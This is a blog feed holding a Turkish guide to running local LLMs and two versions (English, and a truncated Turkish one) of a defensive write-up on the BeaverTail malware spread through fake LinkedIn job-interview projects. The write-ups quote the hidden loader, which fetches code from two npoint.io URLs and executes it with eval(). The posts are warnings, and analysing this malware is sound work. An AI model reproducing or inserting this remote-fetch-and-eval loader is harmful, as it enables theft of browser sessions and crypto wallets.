&lt;h2 id="bolum-1-yerel-ai-nasl-calsr-vram-meselesi"&gt;🧠 B&amp;ouml;l&amp;uuml;m 1: Yerel AI Nas&amp;inodot;l &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r? (VRAM Meselesi)&lt;a class="headerlink" href="#bolum-1-yerel-ai-nasl-calsr-vram-meselesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bir modelin performans&amp;inodot;n&amp;inodot; belirleyen iki ana unsur vard&amp;inodot;r: &lt;strong&gt;Parametre say&amp;inodot;s&amp;inodot;&lt;/strong&gt; (beyin b&amp;uuml;y&amp;uuml;kl&amp;uuml;&amp;gbreve;&amp;uuml;) ve &lt;strong&gt;Context Size&lt;/strong&gt; (haf&amp;inodot;za kapasitesi). 862 milyar parametrelik bir canavar&amp;inodot; evdeki bilgisayarda ko&amp;scedil;turamazs&amp;inodot;n&amp;inodot;z, ama donan&amp;inodot;m&amp;inodot;n&amp;inodot;za uygun &amp;scedil;ekilde yap&amp;inodot;land&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; modellerle harikalar yaratabilirsiniz.&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in s&amp;inodot;rr&amp;inodot; ekran kart&amp;inodot;n&amp;inodot;zdaki (GPU) &lt;strong&gt;VRAM&lt;/strong&gt; miktar&amp;inodot;nda yat&amp;inodot;yor. Sisteminiz i&amp;ccedil;in en do&amp;gbreve;ru kart&amp;inodot; se&amp;ccedil;mek isterseniz, &lt;a href="/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Yerel LLM'ler &amp;Idot;&amp;ccedil;in En &amp;Idot;yi Ekran Kartlar&amp;inodot; (2026)&lt;/a&gt; yaz&amp;inodot;mda t&amp;uuml;m se&amp;ccedil;enekleri detayl&amp;inodot;ca inceledim. ⚡&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu: VRAM vs. Sistem RAM&lt;/p&gt;
&lt;p&gt;Modeli &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda, t&amp;uuml;m parametreler ekran kart&amp;inodot;n&amp;inodot;z&amp;inodot;n VRAM'ine dolu&amp;scedil;ur. E&amp;gbreve;er 16 GB VRAM'iniz varsa ve model 17 GB istiyorsa, kalan 1 GB normal bilgisayar RAM'ine ta&amp;scedil;ar. &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; Bu ta&amp;scedil;ma oldu&amp;gbreve;unda h&amp;inodot;z&amp;inodot;n&amp;inodot;z 120 km/h'den, ka&amp;gbreve;n&amp;inodot; h&amp;inodot;z&amp;inodot;na (20-30 tokens/sec) d&amp;uuml;&amp;scedil;er. Yani ana kural: Modeli VRAM'e s&amp;inodot;&amp;gbreve;d&amp;inodot;r!&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er Mac kullan&amp;inodot;yorsan&amp;inodot;z (M1/M2/M3), i&amp;scedil;iniz daha kolay &amp;ccedil;&amp;uuml;nk&amp;uuml; Apple "Unified Memory" (birle&amp;scedil;ik bellek) kullan&amp;inodot;yor. Yani sistemdeki 32 GB RAM'in b&amp;uuml;y&amp;uuml;k k&amp;inodot;sm&amp;inodot;n&amp;inodot; AI do&amp;gbreve;rudan "VRAM gibi" kullanabiliyor.&lt;/p&gt;
&lt;h2 id="bolum-2-lm-studio-ile-ilk-adm"&gt;🛠️ B&amp;ouml;l&amp;uuml;m 2: LM Studio ile &amp;Idot;lk Ad&amp;inodot;m&lt;a class="headerlink" href="#bolum-2-lm-studio-ile-ilk-adm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;En h&amp;inodot;zl&amp;inodot; ve temiz ba&amp;scedil;lang&amp;inodot;&amp;ccedil; i&amp;ccedil;in &lt;strong&gt;LM Studio&lt;/strong&gt;'yu &amp;ouml;neririm. Kullan&amp;inodot;c&amp;inodot; aray&amp;uuml;z&amp;uuml; o kadar ba&amp;scedil;ar&amp;inodot;l&amp;inodot; ki, hangi modelin sisteminizde ne kadar yer kaplayaca&amp;gbreve;&amp;inodot;n&amp;inodot; (GPU offload) size a&amp;ccedil;&amp;inodot;k&amp;ccedil;a g&amp;ouml;steriyor.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LM Studio &amp;Idot;ndir:&lt;/strong&gt; &lt;a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank"&gt;LM Studio Resmi Sitesi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model Ara:&lt;/strong&gt; Arama k&amp;inodot;sm&amp;inodot;na &lt;code&gt;Qwen&lt;/code&gt; veya &lt;code&gt;Llama&lt;/code&gt; yaz&amp;inodot;n. Hangi modeli se&amp;ccedil;ece&amp;gbreve;inizden emin de&amp;gbreve;ilseniz, en g&amp;uuml;ncel k&amp;inodot;yaslamalar i&amp;ccedil;in &lt;a href="/en-iyi-yerel-llm-modelleri-2026/"&gt;En &amp;Idot;yi Yerel LLM Modelleri (2026)&lt;/a&gt; rehberime g&amp;ouml;z atabilirsiniz. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quantization (S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma) Se&amp;ccedil;:&lt;/strong&gt; &amp;Idot;&amp;scedil;te buras&amp;inodot; can al&amp;inodot;c&amp;inodot; nokta. Modelleri "ham" haliyle (FP16) indirmeyin. &lt;strong&gt;Q4&lt;/strong&gt; veya &lt;strong&gt;Q6&lt;/strong&gt; gibi s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; versiyonlar&amp;inodot; se&amp;ccedil;in. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Quantization Nedir?&lt;/p&gt;
&lt;p&gt;B&amp;uuml;y&amp;uuml;k bir modeli, performans&amp;inodot;ndan &amp;ccedil;ok az &amp;ouml;d&amp;uuml;n vererek boyutunu yar&amp;inodot; yar&amp;inodot;ya k&amp;uuml;&amp;ccedil;&amp;uuml;ltme i&amp;scedil;lemidir. Q4 (4-bit) genelde "tatl&amp;inodot; noktad&amp;inodot;r"; hem ak&amp;inodot;ll&amp;inodot; kal&amp;inodot;r hem de orta halli bir ekran kart&amp;inodot;na s&amp;inodot;&amp;gbreve;ar.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="bolum-3-vs-code-entegrasyonu-continue-extension"&gt;💻 B&amp;ouml;l&amp;uuml;m 3: VS Code Entegrasyonu (Continue Extension)&lt;a class="headerlink" href="#bolum-3-vs-code-entegrasyonu-continue-extension" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Chat yapmak g&amp;uuml;zel ama as&amp;inodot;l verim, kod yazarken o AI'n&amp;inodot;n parmaklar&amp;inodot;n&amp;inodot;z&amp;inodot;n ucunda olmas&amp;inodot;yla geliyor. Bunun i&amp;ccedil;in VS Code'da &lt;strong&gt;Continue&lt;/strong&gt; eklentisini kullan&amp;inodot;yoruz.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Autocomplete i&amp;ccedil;in:&lt;/strong&gt; &amp;Ccedil;ok k&amp;uuml;&amp;ccedil;&amp;uuml;k modeller se&amp;ccedil;in (&amp;ouml;rne&amp;gbreve;in 1.5B parametrelik Qwen-Coder). &amp;Ccedil;&amp;uuml;nk&amp;uuml; tamamlama i&amp;scedil;leminin anl&amp;inodot;k olmas&amp;inodot; laz&amp;inodot;m.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agent/Chat i&amp;ccedil;in:&lt;/strong&gt; Daha b&amp;uuml;y&amp;uuml;k modeller (9B veya 14B) kullanabilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="yaplandrma-configjson"&gt;Yap&amp;inodot;land&amp;inodot;rma (config.json)&lt;a class="headerlink" href="#yaplandrma-configjson" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Continue ayarlar&amp;inodot;nda &lt;code&gt;provider&lt;/code&gt; olarak &lt;code&gt;lm-studio&lt;/code&gt; se&amp;ccedil;ip, LM Studio'nun sundu&amp;gbreve;u yerel sunucu adresini (&lt;code&gt;http://localhost:1234/v1&lt;/code&gt;) girmeniz yeterli. Art&amp;inodot;k VS Code i&amp;ccedil;inde kendi "GitHub Copilot" alternatifinizi bedavaya kullan&amp;inodot;yorsunuz. 😎&lt;/p&gt;
&lt;h2 id="yerel-vs-bulut-hangisi-daha-akll_1"&gt;📊 Yerel vs. Bulut: Hangisi Daha Ak&amp;inodot;ll&amp;inodot;?&lt;a class="headerlink" href="#yerel-vs-bulut-hangisi-daha-akll" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bir&amp;ccedil;ok ki&amp;scedil;i "Yerel modeller Claude kadar zeki mi?" diye soruyor. Kendi yapt&amp;inodot;&amp;gbreve;&amp;inodot;m &lt;strong&gt;Sudoku Uygulamas&amp;inodot;&lt;/strong&gt; testinde &amp;scedil;unu g&amp;ouml;rd&amp;uuml;m:
- &lt;strong&gt;Claude Sonnet 3.5:&lt;/strong&gt; 9 dakikada s&amp;inodot;f&amp;inodot;r hatayla uygulamay&amp;inodot; yazd&amp;inodot;.
- &lt;strong&gt;Yerel Qwen 2.5 (32B):&lt;/strong&gt; Yine yakla&amp;scedil;&amp;inodot;k 9-10 dakikada benzer kalitede bir &amp;ccedil;&amp;inodot;kt&amp;inodot; verdi.&lt;/p&gt;
&lt;p&gt;H&amp;inodot;z fark&amp;inodot; var m&amp;inodot;? Evet, bulut modelleri devasa sunucu parkurlar&amp;inodot;nda daha h&amp;inodot;zl&amp;inodot; cevap veriyor ama yerel AI da hata ay&amp;inodot;klama (debug) ve genel kodlama i&amp;scedil;lerinde art&amp;inodot;k "yeterince iyi" seviyesini &amp;ccedil;oktan ge&amp;ccedil;ti.&lt;/p&gt;
&lt;h2 id="sadede-gelirsek"&gt;🏁 Sadede Gelirsek&lt;a class="headerlink" href="#sadede-gelirsek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ayl&amp;inodot;k abonelikleri iptal edip, o paray&amp;inodot; biriktirerek 2-3 ay i&amp;ccedil;inde kendinize sa&amp;gbreve;lam bir ekran kart&amp;inodot; (&amp;ouml;rne&amp;gbreve;in 16GB VRAM'li bir RTX 4060 Ti veya 4070) alabilirsiniz. Bu kart size &amp;ouml;m&amp;uuml;r boyu &lt;strong&gt;bedava ve s&amp;inodot;n&amp;inodot;rs&amp;inodot;z&lt;/strong&gt; AI kullan&amp;inodot;m&amp;inodot;n&amp;inodot;n kap&amp;inodot;s&amp;inodot;n&amp;inodot; a&amp;ccedil;ar.&lt;/p&gt;
&lt;p&gt;Verileriniz bilgisayar&amp;inodot;n&amp;inodot;zda kals&amp;inodot;n, c&amp;uuml;zdan&amp;inodot;n&amp;inodot;zdaki para da cebinizde. Kendi yerel AI kurulumunu ba&amp;scedil;latmak i&amp;ccedil;in bug&amp;uuml;nden daha iyi bir zaman yok dostum.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Konuyla ilgili daha fazla teknik detay i&amp;ccedil;in &lt;a href="https://huggingface.co/" rel="noopener noreferrer" target="_blank"&gt;HuggingFace&lt;/a&gt; &amp;uuml;zerindeki model kartlar&amp;inodot;n&amp;inodot; inceleyebilirsiniz.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Yerel AI kurarken kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z "out of memory" hatalar&amp;inodot; i&amp;ccedil;in sisteminizdeki di&amp;gbreve;er GPU kullanan programlar&amp;inodot; (taray&amp;inodot;c&amp;inodot; vb.) kapatmay&amp;inodot; deneyin.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yerel ai"/><category term="lm studio"/><category term="vs code"/><category term="continue"/><category term="llm"/><category term="vram"/><category term="gpu"/><category term="yapay zeka"/></entry><entry><title>The Insidious Danger in LinkedIn Job Interviews: BeaverTail and Lazarus Group</title><link href="https://yuceltoluyag.github.io/en/linkedin-is-gorusmesi-dolandiriciligi-beavertail/" rel="alternate"/><published>2026-05-11T19:57:00+03:00</published><updated>2026-05-11T19:57:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/en/linkedin-is-gorusmesi-dolandiriciligi-beavertail/</id><summary type="html">&lt;p&gt;We analyze the North Korean hackers behind the "too sweet" job offers you encounter on LinkedIn and the BeaverTail malware that sneaks into your system under the guise of a test project.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The 2026 job market is literally "cooked". On one hand, thousands of candidates; on the other hand, scammers selling empty dreams. But these scammers are not just amateurs chasing your money; they are professional cyber attackers with state backing (North Korea - Lazarus Group) behind them.&lt;/p&gt;
&lt;p&gt;The scenario is always the same: You've been looking for a job for months, you only have money left in your pocket to buy pasta and yogurt, and bam! A dream-like job offer of 12 thousand dollars drops into your LinkedIn inbox. The moment they say "Let's have an interview, and just run this test project," you are actually opening the door to a disaster.&lt;/p&gt;
&lt;h2 id="the-trap-golden-city-and-the-insidious-eval"&gt;🕸️ The Trap: "Golden City" and the Insidious eval()&lt;a class="headerlink" href="#the-trap-golden-city-and-the-insidious-eval" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The attackers want you to download a simple "test project" (for example, "Golden City") to make you feel comfortable. The project looks like an innocent Node.js application at first glance. However, look at this piece of code hidden inside &lt;code&gt;backend/controllers/userController.js&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Friday13-Security: The purpose of this code is not to help you, but to ruin your life.&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCookie&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;asyncErrorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rs_L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://api.npoint.io/e8e29958efde154f3d7d"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rs_C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://api.npoint.io/632ab82bbc8d7f4c2d44"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rs_L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rs_C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;eval()&lt;/code&gt; function here runs the malicious, obfuscated code pulled from &lt;code&gt;npoint.io&lt;/code&gt; (which is constantly updated) in your system with full privileges. While you think "I am installing the project", your browser sessions are stolen and your crypto wallets are emptied.&lt;/p&gt;
&lt;h2 id="analysis-breaking-down-beavertail"&gt;🛠️ Analysis: Breaking Down BeaverTail&lt;a class="headerlink" href="#analysis-breaking-down-beavertail" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This malware (BeaverTail) uses infinite loops (&lt;code&gt;while(!![])&lt;/code&gt;) and complex string tables to confuse deobfuscators. However, since we Arch users are "paranoid" enough not to install any package without examining it one by one, we do not fall for these traps (or we shouldn't, haha).&lt;/p&gt;
&lt;p&gt;When the malicious code is decrypted, it turns out it does the following:
*   Collects system information such as &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;platform&lt;/code&gt;, &lt;code&gt;homeDir&lt;/code&gt;.
*   Scans sensitive data (cookies, passwords) of browsers like Brave, Chrome, Opera.
*   Since it runs with &lt;code&gt;eval()&lt;/code&gt; in a Node.js environment, it has full permissions on the filesystem.&lt;/p&gt;
&lt;h2 id="why-arch-users-dont-fall-for-it"&gt;🏰 Why Arch Users Don't Fall for It?&lt;a class="headerlink" href="#why-arch-users-dont-fall-for-it" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Jokes aside, the terminal discipline of an Arch Linux user is the biggest shield against such attacks. In the &lt;code&gt;yuceltoluyag@archlinux&lt;/code&gt; terminal, looking at &lt;code&gt;package.json&lt;/code&gt;, dependencies, and scripts before typing &lt;code&gt;npm install&lt;/code&gt; is in our DNA.&lt;/p&gt;
&lt;p&gt;As we have experienced on our own systems, those who downloaded "sketchy" files from DC++ or Limewire in their childhood and caught every kind of cyber "disease" that was transmitted online, have acquired "special abilities" today to recognize this insidious software at a glance. Paranoia is sometimes the biggest firewall.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="lessons-to-learn"&gt;🥊 Lessons to Learn&lt;a class="headerlink" href="#lessons-to-learn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Think Before Running a Repo:&lt;/strong&gt; Never run any unfamiliar repo coming from LinkedIn on your host machine (bare metal). Use Docker or a completely isolated VM.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;npoint.io and eval() is a Red Line:&lt;/strong&gt; If you see a structure in a project that pulls code from outside and runs it with &lt;code&gt;eval()&lt;/code&gt;, run away without looking back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Business World is a Wolf's Table:&lt;/strong&gt; Very sweet offers are usually a poisoned apple. Especially if there is a "test project before interview" requirement, be twice as careful.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If these crazy "BeaverTail" hyenas have stooped low enough to target job seekers, we need to sharpen our technical defenses just as much. Carry that "testing discipline" I mentioned in my &lt;a href="/en/pelican-statik-site-playwright-test/"&gt;Test Your Pelican Static Site with Playwright&lt;/a&gt; post to the security field as well, karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Stay paranoid, stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sources-and-acknowledgements"&gt;🔗 Sources and Acknowledgements&lt;a class="headerlink" href="#sources-and-acknowledgements" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Deobfuscating such insidious operations really requires great patience and technical tracking. During the analysis process, the datasets compiled by Bogdan (himthe.dev) were very enlightening. We owe him a thank you for this transparent attitude.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.himthe.dev/blog/linkedin-interview-scams" rel="noopener noreferrer" target="_blank"&gt;Bogdan's Original Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xndbogdan/malicious-repositories" rel="noopener noreferrer" target="_blank"&gt;Exposed Malicious GitHub Repositories (List)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/linux-guvenlik-clamav-tam-kapsamli-rehber/"&gt;Linux Security: A Full Comprehensive Guide with ClamAV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-ddos-hizmet-kesintisi/"&gt;Arch Linux DDOS and Service Outage Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Installation Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Haberler"/><category term="linkedin scam"/><category term="beavertail"/><category term="malware"/><category term="lazarus group"/><category term="siber guvenlik"/><category term="arch linux"/><category term="reverse engineering"/></entry><entry><title>LinkedIn İş Görüşmelerindeki Sinsi Tehlike: BeaverTail ve Lazarus Grubu</title><link href="https://yuceltoluyag.github.io/linkedin-is-gorusmesi-dolandiriciligi-beavertail/" rel="alternate"/><published>2026-05-11T19:57:00+03:00</published><updated>2026-05-11T19:57:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/linkedin-is-gorusmesi-dolandiriciligi-beavertail/</id><summary type="html">&lt;p&gt;LinkedIn'de karşınıza çıkan "çok tatlı" iş tekliflerinin arkasındaki Kuzey Koreli hackerları ve test projesi adı altında sisteminize sızan BeaverTail zararlısını analiz ediyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;2026 i&amp;scedil; piyasas&amp;inodot; tam anlam&amp;inodot;yla "pi&amp;scedil;mi&amp;scedil;" durumda. Bir yanda binlerce aday, di&amp;gbreve;er yanda bo&amp;scedil; hayaller satan doland&amp;inodot;r&amp;inodot;c&amp;inodot;lar. Ama bu seferki doland&amp;inodot;r&amp;inodot;c&amp;inodot;lar, sadece paran&amp;inodot;z&amp;inodot;n pe&amp;scedil;inde olan amat&amp;ouml;rler de&amp;gbreve;il; arkalar&amp;inodot;nda devlet deste&amp;gbreve;i (Kuzey Kore - Lazarus Group) olan profesyonel siber sald&amp;inodot;rganlar. &lt;/p&gt;
&lt;p&gt;Senaryo hep ayn&amp;inodot;: Aylard&amp;inodot;r i&amp;scedil; ar&amp;inodot;yorsunuz, cebinizde sadece makarna-yo&amp;gbreve;urt alacak para kalm&amp;inodot;&amp;scedil; ve bam! LinkedIn kutunuza 12 bin dolarl&amp;inodot;k, r&amp;uuml;ya gibi bir i&amp;scedil; teklifi d&amp;uuml;&amp;scedil;&amp;uuml;yor. "Hadi bir g&amp;ouml;r&amp;uuml;&amp;scedil;elim, &amp;scedil;u test projesini de bir &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;ver" dedikleri an, asl&amp;inodot;nda felaketin kap&amp;inodot;s&amp;inodot;n&amp;inodot; aral&amp;inodot;yorsunuz.&lt;/p&gt;
&lt;h2 id="tuzak-golden-city-ve-sinsi-eval"&gt;🕸️ Tuzak: "Golden City" ve Sinsi eval()&lt;a class="headerlink" href="#tuzak-golden-city-ve-sinsi-eval" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sald&amp;inodot;rganlar sizi rahat hissettirmek i&amp;ccedil;in basit bir "test projesi" (&amp;ouml;rne&amp;gbreve;in "Golden City") indirmenizi istiyor. Proje ilk bak&amp;inodot;&amp;scedil;ta masum bir Node.js uygulamas&amp;inodot; gibi g&amp;ouml;r&amp;uuml;n&amp;uuml;yor. Ancak &lt;code&gt;backend/controllers/userController.js&lt;/code&gt; i&amp;ccedil;ine gizlenmi&amp;scedil; &amp;scedil;u kod par&amp;ccedil;as&amp;inodot;na bak&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Friday13-Security: Bu kodun amac&amp;inodot; yard&amp;inodot;m etmek de&amp;gbreve;il, hayat&amp;inodot;n&amp;inodot;z&amp;inodot; karartmakt&amp;inodot;r.&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCookie&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;asyncErrorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rs_L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://api.npoint.io/e8e29958efde154f3d7d"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rs_C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://api.npoint.io/632ab82bbc8d7f4c2d44"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
